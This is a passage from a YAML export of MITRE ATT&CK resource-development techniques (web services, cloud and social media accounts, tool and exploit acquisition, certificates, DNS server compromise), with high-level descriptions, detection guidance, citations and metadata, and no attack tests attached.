2022. url: https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/ - source_name: Proofpoint TA407 September 2019 description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.' url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian - source_name: Cofense-redirect description: Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024. url: https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/ - source_name: mandiant-masking description: 'Simonian, Nick. (2023, May 22). Don''t @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.' url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1583.006: technique: modified: '2024-01-16T22:47:59.395Z' name: Web Services description: 'Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Dor Edry, Microsoft x_mitre_deprecated: false x_mitre_detection: |- Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54 created: '2020-10-01T00:50:29.936Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/006 external_id: T1583.006 - source_name: FireEye APT29 description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.' url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1585.003: technique: modified: '2022-10-25T15:49:14.785Z' name: Cloud Accounts description: "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: 'Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).' x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Francesco Bigarella type: attack-pattern id: attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5 created: '2022-05-27T14:06:05.130Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1585/003 external_id: T1585.003 - source_name: Awake Security C2 Cloud description: 'Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.' url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.0.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack x_mitre_contributors: - SOCCRATES - Mnemonic AS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0 type: attack-pattern created: '2020-10-01T02:08:33.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.002 url: https://attack.mitre.org/techniques/T1588/002 - source_name: Recorded Future Beacon 2019 url: https://www.recordedfuture.com/identifying-cobalt-strike-servers/ description: 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.' - source_name: Analyzing CS Dec 2020 url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/ description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021. modified: '2021-10-17T16:17:55.499Z' name: Tool description: |- Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1584.006: technique: modified: '2023-04-12T20:19:21.620Z' name: Web Services description: 'Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user''s access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Dor Edry, Microsoft x_mitre_deprecated: false x_mitre_detection: |- Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2 created: '2020-10-01T01:01:00.176Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/006 external_id: T1584.006 - source_name: Recorded Future Turla Infra 2020 description: 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.' url: https://www.recordedfuture.com/turla-apt-infrastructure/ - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1585.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928 type: attack-pattern created: '2020-10-01T01:08:41.124Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1585.001 url: https://attack.mitre.org/techniques/T1585/001 - source_name: NEWSCASTER2014 description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017. url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - source_name: BlackHatRobinSage description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017. url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf modified: '2022-04-25T14:00:00.188Z' name: Social Media Accounts description: "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona \ on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Persona: Social Media' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1587.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2 type: attack-pattern created: '2020-10-01T01:48:15.511Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1587.004 url: https://attack.mitre.org/techniques/T1587/004 - source_name: NYTStuxnet description: William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017. url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html - source_name: Irongeek Sims BSides 2017 url: https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims description: Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Exploits description: |- Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1608.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069 type: attack-pattern created: '2021-03-17T20:32:13.793Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1608.003 url: https://attack.mitre.org/techniques/T1608/003 - source_name: DigiCert Install SSL Cert url: https://www.digicert.com/kb/ssl-certificate-installation.htm description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021. - source_name: Splunk Kovar Certificates 2017 url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Install Digital Certificate description: "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584))." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1584.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jeremy Galloway object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5 created: '2020-10-01T00:54:30.869Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1584.002 url: https://attack.mitre.org/techniques/T1584/002 - source_name: FireEye DNS Hijack 2019 url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.' - source_name: Crowdstrike DNS Hijack 2019 url: https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/ description: Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022. - source_name: Talos DNSpionage Nov 2018 url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. - source_name: CiscoAngler url: https://blogs.cisco.com/security/talos/angler-domain-shadowing description: 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.' - source_name: Proofpoint Domain Shadowing url: https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows description: 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.' x_mitre_deprecated: false revoked: false description: |- Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: DNS Server x_mitre_detection: |- Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Domain Name: Active DNS' - 'Domain Name: Passive DNS' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1585: technique: modified: '2024-02-28T21:08:56.520Z' name: Establish Accounts description: | Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_deprecated: false x_mitre_detection: |- Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Persona: Social Media' type: attack-pattern id: attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8 created: '2020-10-01T01:05:42.216Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1585 external_id: T1585 - source_name: Free Trial PurpleUrchin description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024. url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - source_name: NEWSCASTER2014 description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017. url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - source_name: BlackHatRobinSage description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017. url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1 type: attack-pattern created: '2020-10-01T01:56:24.776Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588 url: https://attack.mitre.org/techniques/T1588 - source_name: NationsBuying description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017. url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.' source_name: PegasusCitizenLab - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017. source_name: DiginotarCompromise url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/ - source_name: FireEyeSupplyChain description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.' url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop - source_name: Analyzing CS Dec 2020 url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/ description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021. - source_name: Splunk Kovar Certificates 2017 url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. - source_name: Recorded Future Beacon Certificates url: https://www.recordedfuture.com/cobalt-strike-servers/ description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Obtain Capabilities description: |- Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 